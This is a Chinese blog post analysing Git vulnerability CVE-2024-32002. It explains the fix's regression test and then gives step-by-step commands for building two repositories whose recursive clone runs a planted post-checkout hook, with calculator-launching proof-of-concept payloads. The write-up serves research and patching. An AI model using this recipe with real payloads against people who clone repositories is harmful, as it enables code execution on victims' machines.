Git RCE - CVE 2024-32002 | 技术分析和本地复现

admin 2024年7月20日13:10:10评论140 views字数 6735阅读22分27秒阅读模式

Git RCE - CVE 2024-32002 | 技术分析和本地复现

Git RCE - CVE 2024-32002 | 技术分析和本地复现

在这篇博客中,我们将深入研究 CVE-2024-32002,该漏洞允许仅通过克隆 repo 即可实现远程代码执行 (RCE)。
根据 Github 博客 -
CVE-2024-32002(严重,Windows 和 macOS):带有子模块的 Git 存储库可以诱骗 Git 在克隆操作期间执行来自 .git/ 目录的Hook,从而导致远程代码执行。
  • -github.blog,2024 年 5 月 14 日
https://github.blog/2024-05-14-securing-git-addressing-5-new-vulnerabilities/
Affected Versions - v2.45.0 v2.44.0 <=v2.43.3 <=v2.42.1 v2.41.0 <=v2.40.1 <=v2.39.3

升级它以避免通过克隆恶意 repo 来执行远程代码。

tl;dr

可以以利用 Git 中的错误的方式制作带有子模块的存储库,从而欺骗 Git 将文件写入 .git/ 目录而不是子模块的工作树。这允许编写一个将在克隆操作仍在运行时执行的Hook,使用户没有机会检查正在执行的代码。

  • - Github 安全公告 ( GHSA-8h77-4q3w-gfgv )

https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv

因此,只需克隆特制的 repo 即可完成远程代码执行 (RCE)。

分析

在CVE-2024-32002的 NIST 数据库中,您会找到对代码提交的引用,其中修复了此错误。让我们去那里,这是提交链接。

Git RCE - CVE 2024-32002 | 技术分析和本地复现

Git 提交修复问题

如果你检查提交,有两个文件 -

  • builtin/submodule--helper.c

  • t/t7406-submodule-update.sh

第二个文件(t/t7406-submodule-update.sh),包含确保在 git 的后续版本中自动检查此错误的测试。

它的做法是tell.tale在当前目录中创建一个文件,如果 git 中存在错误,并且执行了代码,则在克隆后,该文件应该在测试结束时存在。这就是整个测试用例的目的。

我们利用它来创建我们的漏洞,在本例中为恶意 repo,当克隆时会在受害者的机器上执行代码。

让我们深入研究代码 -

test_expect_success CASE_INSENSITIVE_FS,SYMLINKS   'submodule paths must not follow symlinks' '  # This is only needed because we want to run this in a self-contained  # test without having to spin up an HTTP server; However, it would not  # be needed in a real-world scenario where the submodule is simply  # hosted on a public site.  test_config_global protocol.file.allow always &&  # Make sure that Git tries to use symlinks on Windows  test_config_global core.symlinks true &&  tell_tale_path="$PWD/tell.tale" &&  git init hook &&  (    cd hook &&    mkdir -p y/hooks &&    write_script y/hooks/post-checkout <<-EOF &&    echo HOOK-RUN >&2    echo hook-run >"$tell_tale_path"    EOF    git add y/hooks/post-checkout &&    test_tick &&    git commit -m post-checkout  ) &&  hook_repo_path="$(pwd)/hook" &&  git init captain &&  (    cd captain &&    git submodule add --name x/y "$hook_repo_path" A/modules/x &&    test_tick &&    git commit -m add-submodule &&    printf .git >dotgit.txt &&    git hash-object -w --stdin <dotgit.txt >dot-git.hash &&    printf "120000 %s 0tan" "$(cat dot-git.hash)" >index.info &&    git update-index --index-info <index.info &&    test_tick &&    git commit -m add-symlink  ) &&  test_path_is_missing "$tell_tale_path" &&  test_must_fail git clone --recursive captain hooked 2>err &&  grep "directory not empty" err &&  test_path_is_missing "$tell_tale_path"

下面是代码的分解以及每个部分的详细解释。

1.测试设置:

test_expect_success CASE_INSENSITIVE_FS,SYMLINKS     'submodule paths must not follow symlinks' '

此行开始一个新的测试用例。test_expect_success是 Git 测试框架中使用的函数。测试标有 和CASE_INSENSITIVE_FSSYMLINKS表示它与不区分大小写的文件系统和支持符号链接的系统相关。测试描述为“子模块路径不得遵循符号链接”。

2.全局配置:

test_config_global protocol.file.allow always &&test_config_global core.symlinks true &&

这些命令设置全局 Git 配置:

  • protocol.file.allow always允许该file://协议进行 Git 操作。

  • core.symlinks true确保 Git 使用符号链接,特别是与 Windows 系统相关的。

  • 之所以需要这样做,是因为这是一个独立的测试,无需启动 HTTP 服务器。然而,在实际场景中,如果子模块只是托管在公共网站上,则不需要这样做。

3.定义 Tell-tale 文件的路径:

tell_tale_path="$PWD/tell.tale" &&
  • 这会将一个变量设置tell_tale_path为当前目录中名为的文件tell.tale,该文件将用于检测后检出hook是否运行。

4.初始化存储库(hook)并创建hook

git init hook &&(    cd hook &&    mkdir -p y/hooks &&    write_script y/hooks/post-checkout <<-EOF &&    echo HOOK-RUN >&2    echo hook-run >"$tell_tale_path"    EOF    git add y/hooks/post-checkout &&    test_tick &&    git commit -m post-checkout) &&
  • 初始化一个名为 的新 Git 存储库hook

  • 导航到hook目录。

  • 创建目录结构y/hooks

  • 编写一个post-checkout输出HOOK-RUN并写入hook-runhook脚本tell_tale_path

  • 添加并提交post-checkouthook

5.设置hook存储库路径:

hook_repo_path="$(pwd)/hook" &&

将变量设置hook_repo_path为存储库的绝对路径hook

6.初始化另一个存储库(captain)并添加子模块:

git init captain &&(    cd captain &&    git submodule add --name x/y "$hook_repo_path" A/modules/x &&    test_tick &&    git commit -m add-submodule &&
  • 初始化一个名为 的新 Git 存储库captain

  • 导航到captain目录。

  • 将存储库作为名为 的hook子模块添加。A/modules/xx/y

  • 提交子模块的添加。

7.创建到目录的符号链接.git:

    printf .git >dotgit.txt &&    git hash-object -w --stdin <dotgit.txt >dot-git.hash &&    printf "120000 %s 0tan" "$(cat dot-git.hash)" >index.info &&    git update-index --index-info <index.info &&    test_tick &&    git commit -m add-symlink) &&
  • 在本节中,测试手工制作.git文件夹的符号链接并将其更新到 git index。

  • Git 索引是保存暂存内容的地方。您可以在此处阅读更多信息https://stackoverflow.com/a/4086986。

  • dotgit.txt创建一个包含字符串的文件.git

  • 从 创建一个 Git blob 对象dotgit.txt并将其哈希存储在中dot-git.hash。

  • 为使用来自的哈希的符号链接(模式120000)准备一个索引条目。.gitdot-git.hash

  • 使用此条目更新 Git 索引,然后提交符号链接的添加。

8.确保 Tell-tale 文件不存在并测试克隆:

test_path_is_missing "$tell_tale_path" &&test_must_fail git clone --recursive captain hooked 2>err &&grep "directory not empty" err &&test_path_is_missing "$tell_tale_path"
  • 检查tell_tale_path不存在。

  • 尝试将captain存储库递归克隆到新目录中hooked。克隆操作预计会失败。

  • 验证错误消息是否包含“目录非空”。

  • Ensurestell_tale_path仍然不存在,确认hook没有运行。

从修复中重建错误

现在,测试几乎已经完成了整个漏洞利用,只是编写它时无需实际创建 git repo,托管在任何流行的 git 服务上。我们将进行一些修改,并指导您在 github.com 托管的 git repos 上重新创建整个设置。

1.创建两个空的 repos -captainhook

Git RCE - CVE 2024-32002 | 技术分析和本地复现

Git RCE - CVE 2024-32002 | 技术分析和本地复现

2.git clone将上述每一个复制到您的本地机器上。

Git RCE - CVE 2024-32002 | 技术分析和本地复现

git clone 两个仓库

3.进入hook目录 -并使用命令 -cd hook创建目录- 。y/hooksmkdir -p y/hooks

4.hooks现在在文件夹内的新目录中创建一个文件y,名称为 - post-checkout- touch ./y/hooks/post-checkout。现在目录结构应该是这样的 -

Git RCE - CVE 2024-32002 | 技术分析和本地复现

现在我们要创建特定名称的文件的原因post-checkout是因为post-checkout它是一个git hook。因此,使用 git hooks ,你可以在发生某些重要操作时执行自定义脚本,例如在本例中,当用户在其机器上签出代码时。

5.在./y/hooks/post-checkout文件中添加此代码片段 -

#!/bin/shopen -a Calculator

在 Mac 上执行上述脚本时,会打开一个计算器。在 Windows 上,有效载荷将更改为 -

#!/bin/shpowershell -Command "Start-Process 'calc.exe'"

Git RCE - CVE 2024-32002 | 技术分析和本地复现

6. 让我们使其post-checkout可执行 - git update-index --chmod=+x y/hooks/post-checkout 

7. 现在暂存更改,提交更改并推送 - git add . && git commit -m post-checkout && git push origin main。

现在我们已经完成了hook的准备。

创建 captain repo

cloned这是受害者获取的 repo ,hook其子模块为 repo。让我们看看如何准备这个 repo。

1.进入captain我们之前克隆的仓库

2.hook使用以下命令将 repo添加为此 repo 中的子模块

git submodule add --name x/y "git@github.com:SecureMyOrg/hook.git" A/modules/x

Git RCE - CVE 2024-32002 | 技术分析和本地复现

3.现在我们将创建一个文件dotgit.txt,其内容为字符串 -.git
4.之后我们创建同一个文件的 git hash-object,并创建一个index.info包含 git hash-object 内容的文件。该值120000表示git 中的符号链接https://git-scm.com/book/en/v2/Git-Internals-Git-Objects#_tree_objects。
printf .git >dotgit.txt git hash-object -w --stdin <dotgit.txt >dot-git.hash printf "120000 %s 0tan" "$(cat dot-git.hash)" >index.info

Git RCE - CVE 2024-32002 | 技术分析和本地复现

5. 我们将使用此index.info文件通过精心制作的有效负载更新 git 索引index.info脚本中使用的文件结构经过特殊格式化,可使用符号链接条目更新 Git 索引。让我们分解格式并了解其组成部分:

结构index.info

其中的每一行index.info代表一个要添加到 Git 索引的条目。每行的格式为:

<mode> <object hash> <stage>t<path>

在哪里:

  • <mode>:文件模式,表示文件的类型及其权限。对于符号链接,这是120000。

  • <object hash>:Git 对象数据库中对象的 SHA-1 哈希值。这是一个 40 个字符的十六进制字符串,用于唯一标识文件或符号链接目标的内容。

  • <stage>:阶段编号,用于处理合并冲突。适用0于普通条目。

  • <path>:相对于存储库工作目录根目录的文件路径。

示例细分

index.info以下是脚本中的示例行:

printf "120000 %s 0tan" "$(cat dot-git.hash)" >index.info

让我们详细分析一下:

1.模式 (120000):

  • 120000是 Git 中符号链接的文件模式。

  • 它表明该条目是一个符号链接。

2.对象哈希(%s):

  • 该占位符 ( %s) 由 的实际对象哈希值替换dot-git.hash。

  • 哈希唯一地标识了文件的内容(在本例中为字符串.git)。

3.阶段 (0):

  • 0表示正常阶段,意味着该条目没有合并冲突。

4.路径 (a):

  • a是符号链接在存储库中的放置路径。

  • 在脚本上下文中,这只是一个占位符,通常是一个有效的文件路径。

完整示例

让我们将这一切与一个假设的哈希放在一起:

假设dot-git.hash包含e69de29bb2d1d6434b8b29ae775ad8c2e48c5391。该index.info行将是:

120000 e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 0  a

让我们看看当前索引。这可以使用命令 - 来完成git ls-files --stage

Git RCE - CVE 2024-32002 | 技术分析和本地复现

git 当前索引和状态

该git update-index --index-info命令会读取index.info并相应地更新 Git 索引。此命令用于使用指定的模式、哈希和路径暂存索引中的符号链接条目。

Git RCE - CVE 2024-32002 | 技术分析和本地复现

git 更新索引

6.现在让我们将所有内容提交到 repo 并推送它。

git commit -m "Add symlink to .git"git push origin main

完成上述操作后,你应该得到以下目录结构:

Git RCE - CVE 2024-32002 | 技术分析和本地复现

两个存储库的文件结构

开演时间

现在我们已准备就绪。让我们看看实际效果。为此,我们只需递归 git clonecaptain存储库。以下是我们可以执行的操作

git clone --recursive [email protected]:SecureMyOrg/captain.git hooked

Git RCE - CVE 2024-32002 | 技术分析和本地复现

影响

任何克隆特制存储库的人都可以在不知情的情况下执行恶意代码。因此,只需克隆存储库即可实现远程代码执行。

更新

为了保证您的系统安全,请升级git到最新版本。

谢谢!希望你喜欢阅读这篇文章并学到一些东西。

Git RCE - CVE 2024-32002 | Technical Walkthrough & Recreating The Bug Locallyhttps://securemyorg.com/blogs/git-rce-cve-2024-32002/

原文始发于微信公众号(Ots安全):Git RCE - CVE 2024-32002 | 技术分析和本地复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月20日13:10:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Git RCE - CVE 2024-32002 | 技术分析和本地复现https://cn-sec.com/archives/2777575.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息